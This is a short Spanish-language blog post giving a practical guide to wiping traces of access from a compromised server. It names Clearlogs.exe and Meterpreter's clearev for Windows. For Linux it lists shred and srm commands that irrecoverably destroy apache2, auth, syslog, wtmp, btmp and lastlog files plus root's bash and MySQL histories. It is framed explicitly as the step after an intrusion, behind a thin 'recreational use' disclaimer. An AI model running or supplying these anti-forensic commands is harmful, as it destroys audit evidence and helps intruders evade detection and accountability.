Borrar las huellas de acceso en un servidor
- marzo 16, 2020
- Categoría: HE
Importante: Esta información es para uso lúdico personal. En ningún caso se pretende dar conocimientos, consejos, formaciones, herramientas, ni soluciones técnicas de ámbito comercial ni profesional. Simplemente es información que se ha redactado en finalidad de recordatorio de ciertos proyectos realizados. Si usted no está seguro de la fiabilidad de la información, no cumple con sus expectativas o no es de su agrado, le ruego que abandone este sitio web. Para ver todas las exclusiones garantía y de responsabilidad acceda a la sección Aviso Legal.
Windows
Una buena herramienta en para limpiar los registros de acceso en entornos Windows es Clearlogs.exe.
https://sourceforge.net/projects/clearlogs/
Uso:
clearlogs.exe -sec
Linux
Para entornos Linux, esta fase consiste en eliminar varios logs en función del método de intrusión usado. Una buena forma de borrarlos es usar la herramienta Shred, que hace irrecuperables los bytes de información almacenados en disco.
Logs de apache2.
shred -zu /var/log/apache2/* /etc/init.d/apache2 restart
Logs del sistema.
cd /var/log/ shred -zu wtmp echo > wtmp shred -zu btmp echo > btmp shred -zu lastlog echo > lastlog shred -zu auth.log echo > auth.log shred -zu syslog echo > syslog shred -zu messages echo > messages
Histórico de bash.
shred -zu /root/.bash_history
Histórico de Mysql
shred -zu /root/.mysql_history
Una alternativa a shred es «secure-delete». Hace 30 pasadas a sobreescribir el archivo y permite eliminar directorios en forma recursiva.
apt-get install secure-delete srm -r pathname
Meterpreter
Meterpreter tiene una playload especifico para esto. Si se ha conseguido cargarlo en el servidor, entonces se puede usar:
meterpreter > clearev